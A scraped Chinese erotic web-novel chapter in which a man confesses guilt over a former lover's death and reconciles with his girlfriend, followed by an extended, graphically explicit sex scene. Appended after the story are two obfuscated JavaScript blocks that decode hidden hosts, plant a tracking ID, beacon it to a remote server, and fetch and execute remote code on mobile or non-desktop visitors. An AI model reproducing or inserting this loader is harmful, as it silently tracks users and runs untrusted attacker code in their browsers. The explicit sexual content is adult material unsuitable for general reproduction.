杜安勇双眼澄澈,有懊恼、有悔恨,表情出乎丁涵意料。那一瞬间,丁涵明白了——他这幅模样并不是针对刚才的事故、司机或者她。

他是怪他自己。

“究竟怎么了?”

杜安勇再次陷入沉默,注视着窗外。不知什么时候,天空开始飘雪,并且有越来越大的趋势。屋子里安静极了,他们甚至可以听到雪花漫天飞舞的声音。丁涵有点儿憋不住气,她碰碰杜安勇,小声叫他的名字。

终于,杜安勇在沉默持续到天荒地老前开口:“我刚刚看见了赵怡——” 丁涵霍然收起下颚,没折断脖子还真是奇迹。她坚决打断他,“什么?你疯了。”

“我也觉得我是疯了,但我不可能看错,虽然只是背影。”

杜安勇眼中闪烁着责难,不是对记忆中的赵怡,而是对他自己。丁涵看着他言之凿凿的样子,不知道他这么说是自嘲还是认真。然而无论是哪个,都让她无比沮丧和矛盾。她知道杜安勇喜欢她,对她的感情只真不假,但无论过去发生过什么,往事依然萦绕着杜安勇,而丁涵就是没办法忍受他和过去如此纠结不清。 “你知道吗?是我害死了赵怡。”杜安勇感觉到丁涵的目光,他没有变换姿势,只是张口说道。

丁涵不喜欢他把这事儿往自己身上揽,她皱着眉头不满道:“别胡说了,她是自杀啊!”

闻言杜安勇干笑两声,扭头看向丁涵,“赵怡才不会去自杀呢,她不是那种人。她只会用双手抓住生命,想尽一切办法把它拧成她要的样子。”

“谁都有零界点,坐在民政局等未来老公是喜庆事儿,可等一天未果就是灾难了。”

杜安勇没有接话,“我可以早早阻止,也该早早阻止。”

“噢。”她勉强点头,对他奇怪的讲话方式更加不满,心里嘀咕着杜安勇怎么什么事儿都喜欢往自己身上揽,真阻止了还有她存在的份儿么。

“赵怡对韩宗海着了魔,而且冥顽不化,就因为那男人是个医生,有钱有权,甚至不介意他是个老头子,连他儿子年龄都比她大。他们俩根本就是一出闹剧,但是赵怡不听——”杜安勇猝然住口,太阳穴抽动一下。

丁涵做了个深唿吸,“你曾试着告诉她,但她不肯听你的劝告。”

“赵怡一门心思钻在自己给自己编织的幻想里,而当她的想象力发作起来,哪怕现实像堵墙立在面前,她也什么都看不见。”杜安勇的嘴抿成一条线,“我和她争论到嗓子都哑了,她说我个种水果的,懂什么!”

“但是你确实懂,不是吗?”

杜安勇缓缓转回头,眼中全是悲悯。“那晚我发了火,她也大怒,那是我们争论最严重的一次。”

“那天晚上?”强烈的同情心油然而生,丁涵问道:“你是说哪天?…嗯…她被车撞的那晚?”

“我……她……”

丁涵领悟到杜安勇所说的已经超出他的计划范围,并且触及危险地界,聪明的做法是立刻撤退,但是她最近才展现的冒险天性,驱策她勇敢向前。她希望杜安勇能将所发生的一切讲出来,说不定阴影会就此消失。她不否认这是自己真心所想,就算她不讲理,就算她对杜安勇要求过分,她还是希望杜安勇能够将赵怡彻底赶出他的生命之外,赵怡的鬼魂早该入土为安了。

“出事的时候你在现场?”丁涵追问下去。

杜安勇闭上眼睛,仿佛又回到那个漆黑阴冷的夜晚。风势越来越强,唿唿有声,树叶被吹得四处摇曳飞散。轰鸣的雷声,伴随着滂沱大雨打在树叶、马路和房屋上,发出惊心动魄的声响。杜安勇不断抹着脸上的雨水,焦急等待赵怡再次出现在视野中。终于,他等到了她。赵怡低垂着头塌着肩膀,头发凌乱得不成形状,身上的衣服被雨水淋得透湿。杜安勇走上前叫住她,赵怡抬脸看到他有些惊讶、有些恼怒,随即拉着他走进路边的一处供附近居民玩耍的景观园林里,责问他为什么跟着她。

杜安勇不说话,只是展开臂膀要抱住她。赵怡浑身僵硬,两手捏着拳头抵在他胸前,过了一会儿到底垮下来,倒进他的怀里啜泣,身体也随之虚弱的颤动。她似乎在瞬间崩溃,所有顽强和机警全被疲惫和痛楚所取代,以及伴随而来的巨大绝望和恐惧。杜安勇紧紧抱着赵怡,摸索她的头发,喃喃说着抚慰她的话。他想带她回家,但赵怡固执地一定要留下来等那个医生问个清楚。

杜安勇耐心的劝说那男人跑不掉,就是有什么话,大可以换个更好的时间和地点,赵怡只是不允。两人开始争执,赵怡更是怒火冲天大声责骂。等到韩宗海的车出现在视野里,她不管不顾就要冲上去。杜安勇抓着她让她冷静,这么冒然冲出去小心韩宗海刹不住车。赵怡却用力抽出手使劲儿推开他,杜安勇脚下一滑失去平衡,趔趄后退摔倒在泥泞的斜坡,在重力作用下翻了几个身子滑到土坡的另一边,刚好身体撞到一块石头,痛得大叫一声。

赵怡有些意外杜安勇受伤,可看着汽车渐渐接近,到底咬咬牙转身跑了出去。她情绪激动,一心一意要赶到韩宗海面前拦下他的车,想都没想自己忽然跑到马路上会有多危险。杜安勇不顾伤痛大声提醒她,但是没用,风声和雨声吞没了他的吼声,赵怡不可能听得见。他还没来得及从泥泞中爬起来,就听见尖锐的鸣笛和轮胎紧急刹车的刺耳摩擦声,世界仿佛静止下来,杜安勇只觉得一阵天旋地转。等他再次醒来时,警车、救护车已经来到,他忍着浑身伤痛走上前,却被维护人员拦在外围不让靠近。远远看着地上盖着的布子,他知道为时已晚。

“噢,杜安勇。”丁涵完全明白过来,但却不知道该如何解劝,只能伸出手拍拍他的肩膀。她很同情他,但又得努力伪装不要让他感觉出来。如果他知道她在为他难过,他一定会生气。“你在想如果当时你拉住她,如果没有露面,如果不和她争执,赵怡都不会死。难怪你着了魔似的放不下这事儿,难怪你会看到赵怡。在你内心,觉得该为她的死负责。是不是?”

杜安勇颓然垂下肩膀,无比懊恼说道:“我知道这实在是太傻,但是如果能够让我重来一次,我绝不会那样做。”

丁涵毫不客气点头附和,“没错,我该叫你傻子,不,是天字号大傻子,这样比较适合你。你需要有人陪伴你、保护你。不幸的事,她偏偏不愿意陪伴你,而你却一个心眼去保护她,心甘情愿当个傻瓜。”

有那么瞬间,杜安勇眼中闪烁愤怒。他咬着牙道:“你根本不了解。”

“显而易见。”丁涵‘唿’地站起身,拿起皮包和大衣朝门口走去。

杜安勇一跃而起,喊道:“等一下,你要走了么?”

丁涵回应非常干脆:“我不想抛下你,相反的,我想成为你生活的一部分。但是,你不肯。”

杜安勇一把拉住丁涵,“别走。”

“那就不要把我当白痴。”

“相信我,我有许多词儿形容你,但‘白痴’绝对不是其中之一。”杜安勇无可奈何地解释:“我并不是想再续前缘,只是…只是想知道她还需要些什么?” 丁涵又注视他几秒,却也不愿意再听这些牵强答复。“也许你不想再续前缘,然而她死了这么长时间,你却还是能看到她,还是想追上她、还是想和她说话。这就是问题关键,你虚实不分,让自己纠结在过去那点儿可怜兮兮的回忆里,又将一些根本碰不着、摸不见、改变不了的‘如果’窝在心里,好像蚌壳一样,活生生把颗刺儿养成珍珠。我非常喜欢你,但我不会傻到在心里放根刺,在我这儿刺就是刺,无论一天两天,还是十年八年,包裹多长时间都会血流不止。你不值当,没人值当!你趁早甩了我,我们俩一了百了。”

丁涵想了想又觉得不对劲儿,补充说道:“不对,应该是我现在就甩了你,大家桥归桥,路归路。”

“我没有在选择!”见鬼!这是怎么发生的?杜安勇原本下定决心和丁涵白头到老,现在她却要和他一拍两散。

“好吧,告诉我你的打算,我有权知道。”

“我——”杜安勇欲言又止,又或者根本无话可说。

丁涵皱起眉头,更加不满,替他接话道:“你不去做点什么,又能怎么改变?除非你对现状满意,你满意么?”

杜安勇苦笑,“你答应听我说完,好么?”

丁涵犹豫了一下,到底放下皮包和大衣,静静站在那里,不再说话。

杜安勇深吸一口气,“你说的没错,我不满意、非常不满意,所以一直想做点什么去改变。选择退出拳场就是想了断,你虽然不说,但我知道你不喜欢我打拳。今天早上来到出事的地方,也是一个心思。然而,每次做点儿什么,赵怡总是会出现在我面前。我不知道有没有被她怨恨,不知道她是不是来索命。我知道的是我不能推卸责任,那天晚上如果没有我,赵怡无论如何不至于丢掉性命,这是千真万确的事实。说她虚荣也好、肤浅也罢,她不过是努力想抓住一个让生活更好的机会,无可厚非。”

杜安勇退后一步,抓紧丁涵的肩膀认真说道:“你知道那天我们困在电梯里,你让我印象最深的是什么?”

丁涵乍一听杜安勇没有上下文的问题有些脸红,“我……嗯……”

能让丁涵哑口无言可真是不容易,两人之间的紧张气氛倒是缓和了一些。杜安勇暗自庆幸,同时又赶紧接口:“不是你想的,我的意思是,不光是你想的。” “哦。”丁涵感到更加窘迫,脸上的红晕越发明显。

杜安勇抬手捧起她的双颊,继续说道:“你说过人这辈子就几十年,最重要的是满足自己,不是讨好别人。相信我,没有人比我更想放下过去,更想听到这句话,尤其之后有了你,让我更是觉得得了宝贝。即使你和我发脾气大吵大闹,也让我既生气又欢喜。今天看你差点儿出车祸,我死的心都有了,这些都是以前从来没有的感觉。带你来这里,就是想让你知道、让你看到,我没有很多,但我有的,一切都给你。将来是死是活、是福是祸,总之有你陪着我。赵怡爱怎么样怎么样吧,我不会离开你,也不会让你离开我。”

丁涵仍然默不做声,生平第一次不知该怎么回答,虽然心底深处,她感觉到自己已经投降。从电梯的偶遇开始,他们之间就存在一股陌生但真实的感情,她一直在努力找出那是什么,以及会带领他们到达什么地方。也许他们的开头并不顺利,但他救了她的命。他就那么毫不犹豫地直直撞向开过来的汽车,这样的男人还不值得她信任吗?丁涵缓缓挣脱他的双手试图思考,实在不确定该说些什么。这可能是极为重要的一刻,是她人生转折点,她不想搞砸。

“你睡觉打唿噜打得好响。”丁涵终于说道:“这可能得花些时间来习惯,不过我愿意试试。”

杜安勇明显松了一口气,同时眉毛微微扬起。“你往我的酒里再掺水,就干脆给我自来水吧。我肯定得花些时间来习惯,不过我愿意试试。”

“哪有那么糟!”丁涵抗议,抬手环住杜安勇。

杜安勇立刻圈住她的腰收紧,“是的,很糟。”

丁涵忍不住微笑,“我的工作时间很不固定。”

“我也是。”

“我周末常要加班。”

“我也一样。”

丁涵微笑着踮起脚尖吻了吻他,转而一脸严肃地说道:“听着,今天是没可能了,你知道赵怡葬在哪儿么?我们清明的时候去看看她吧!”

杜安勇非常意外,疑惑地说道:“你根本不信这些。”

“我当然不信,但我更不想让你的自责站在我们之间。你要是想问她什么,或者对她说些什么,还有哪里比她安葬的地方更合适?你需要一个了断,就给自己一个方式去了断,真要再看见她,那就更好了。到时候我和她谁走谁留,咱们仨儿谁都别挡谁的道儿。”

杜安勇没有说话,只是凝神盯着丁涵,那眼神如此强烈,好像可以把她连人带屋烧焦似的。他忽然上前,嘴唇癫狂而有力地压住她。以前哪怕在他最兴奋的时刻,杜安勇似乎也总能克制自己,小心掌控自己的激情。她从不担心他会对她不够温柔——直到现在。杜安勇看上去像个野人,还没等她来及反应,人已经躺到了床板上。杜安勇粗暴地脱掉她的衣服,他的衣服很快也加入到地板上,然后他爬到她身上将她固定住。

丁涵浑身发烫,上下都在燃烧,猛烈来袭的男人味道和红果果的性张力让她束手无策、松软无力。她嘴唇微微开启,无声喘着气,心脏开始狂跳,脑子里一片空白。

“答应我,别离开我。”杜安勇沙哑地说,手指颤抖地抚摸她的脸庞。

丁涵试着想说他也不要离开她,但说不出来,因为杜安勇的嘴已经含住她的乳尖吸吮,接着往下品尝她的肚脐,新长出的胡须摩搓着她的肌肤,刺激着她、诱惑着她。一股暖流直达她的下腹,迅速缠绕并滋长。丁涵拱起身体靠向杜安勇,将自己送给他。

杜安勇略微离开丁涵身体,将一双垂在床沿的白嫩双腿举起往两侧掰开,将她身体最隐秘动人的羞处显露出来。只见白皙柔嫩的阴唇好像两片肉果儿,好像咬一口就会有甜蜜的汁水流出,只看得杜安勇唿吸急促、心跳加快。他探出两手拇指滑到中间,将微微张开的肉果彻底撑开,粉红娇小的花蒂娇滴滴悬在中间惹人怜爱,好像在等待杜安勇的采摘。

丁涵又羞又窘,白皙的皮肤上早已泛出深深的红晕,眼见杜安勇移动手指转着圈抚弄,酥麻的感觉让她小腹一阵紧缩,底下立刻温热一片,打湿了他的手指。丁涵低唿一声,闭上眼睛恨不得立刻从地球消失。她仰着脖子向后移动身体,想要离开杜安勇的掌控,可是肩膀刚触到床铺,杜安勇的舌头已经覆盖上来,慌得她双手啪地打到床板,几乎从床上跳起来。

杜安勇用力将她固定在原地,极力不让疯狂扭动的丁涵逃开或弹起,同时一会儿张开嘴咬噬两片嫩肉,一会儿舌头又钻进去舔舐花蒂,将她品尝个仔细彻底。很快一股一股蜜水潺潺冒了出来,刺激地他更加使劲儿动作,或细细拨弄敏感的花蒂,或轻轻含住拉扯。杜安勇贪婪地吞噬着她,心想这铁定是他做过最过瘾的事,而且他要感谢老天爷,身为他的女人,从今而后他什么时候享受都可以。 丁涵被折磨得浑身仿佛着了火,娇喘吁吁燥热不堪,身体里有某种东西紧紧蜷起,某个既急切又绝对邪恶的东西让她不由自主夹紧双腿,将杜安勇的嘴巴牢牢贴住自己。如果再不得到舒解,她就要爆炸成灰了。丁涵抱住杜安勇的脑袋,就要哭出来似的,断断续续乞求道:“…勇…别再折磨我了。”

杜安勇听着也没有回答,温热濡湿舌头找到甬道入口,伴着汩汩冒出的蜜液戳刺进去。丁涵不由自主紧缩颤抖,试图抵挡陌生的入侵。舌头滑了出去,之后又迅速挺入进来。与此同时,杜安勇两臂伸出,从平坦的小腹抚摸到高耸柔软的胸前,张开双手揉捏玩耍,掌心在挺立的乳头按压,只不过反复几次,丁涵甬道内的肌肉就越收越紧。杜安勇见状,一双大手拢住丁涵的胸部,使劲儿挤捏一下后撤离开来。一只手来到阴蒂按压拨弄,另外一只手则向更低的位置探去,缓缓按摩中找到后庭压挤进去。

丁涵顿觉五脏六腑翻腾搅扰,好像要从喉咙里吐出来一样。她顾不得羞怯,撑着自己抬起双腿搭到杜安勇肩膀,挺起腰身贴了过去,试图抓住那折磨人的恣意快感,体内的暖流在杜安勇的口手夹击下迅速汇集起来。丁涵挺起脖颈无助地张开嘴,感觉体内仿佛有个弹簧扭得越来越紧。她赶紧抓住枕头,手指的关节都变白了,若在这时扣着杜安勇,恐怕会把他折成两半。

强烈的紧绷感让她无法忍受,直到那感觉突然迸裂,向外猛力扭转,快感瞬间爆发,窜过四肢、每根血管和每道肌肉,她‘啊’的一声,身体高高拱起,身下热流汩汩喷涌出来,两条胳膊因为强烈的冲击而虚软,整个身体也因此而剧烈颤抖。杜安勇赶紧起身一把抱住丁涵,护着她化成水似的瘫软下去。

杜安勇顺势缓缓将她重新抱到大床中央,双手在丁涵光滑娇嫩的腰背上抚摸,嘴巴在脖颈肩胛又亲又啃,胯部抵在娇嫩的下身不住研磨。丁涵身体原本就非常敏感,在杜安勇的挑逗下不堪承受,竟然又有一股蜜液流了出来,那里原本就因为刚才的高潮泥泞不堪,一下将他的勃起和大腿浇水似的湿了一片。

杜安勇忍不住喉间咕哝一声,“操!”

“嗯?怎么还没开始么?”丁涵也学着咕哝。

杜安勇咧咧嘴,手掌在她的股间滑动并以膝盖将她双腿分得更开。把自己安置好后,他的双手滑向她身下,稳稳抱着她,一个深深的猛烈冲刺滑进去,急不可待享受那紧窒湿润的喜悦感觉。丁涵喉咙深处发出震惊的叫喊,又立即咬住双唇,紧紧闭上双眼,呜咽着、扭动着,努力让自己容纳他。杜安勇亦发兴奋而粗鲁,冲刺得更加卖力。

丁涵在他身下低吟,指甲掐入他背部的同时,髋部充满索求地抵压着他用力磨蹭。她挣扎着从嗓子里喊出两个字:“还要!”

杜安勇把手指滑到她身下,抓住臀部让她往上倾斜。这个姿势的律动让她更加快速抵达临界点,丁涵的喉咙里嘶哑地发出一声喊叫,她拱起身体,整个人先是僵硬,然后开始发抖,体内肌肉随即紧紧箍住他一阵阵收缩。杜安勇坚持不下去了,嘶吼着往前冲,直至释放、清空自己。他喘息着紧紧抱着丁涵翻了个身,让软绵绵的丁涵躺在他胸膛。好长时间,谁都没有说话,像在回味刚才的愉悦刺激,亦或者只是单纯享受拥抱彼此的甯和安静。

杜安勇从未感觉如此疲倦,但每一根神经又都浸透着欢愉。他的大手不由自主爬上丁涵的臀部,渐渐滑入她的腿间。

“嘿,”丁涵好不容易可以开口说话,不可思议地问道:“你还嫌不够吗?” “不够。”杜安勇只管坏坏地低笑,几乎无法相信那是自己的笑声。他再度吻她,好一会儿才抬起脸,“我想永远都不会觉得够。”

“是么?”丁涵偎依在他胸前,弯起了嘴角。

“不是么?”杜安勇将她抱得更紧。


上一篇:朋友妻之香

下一篇:病房中的护士妻


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};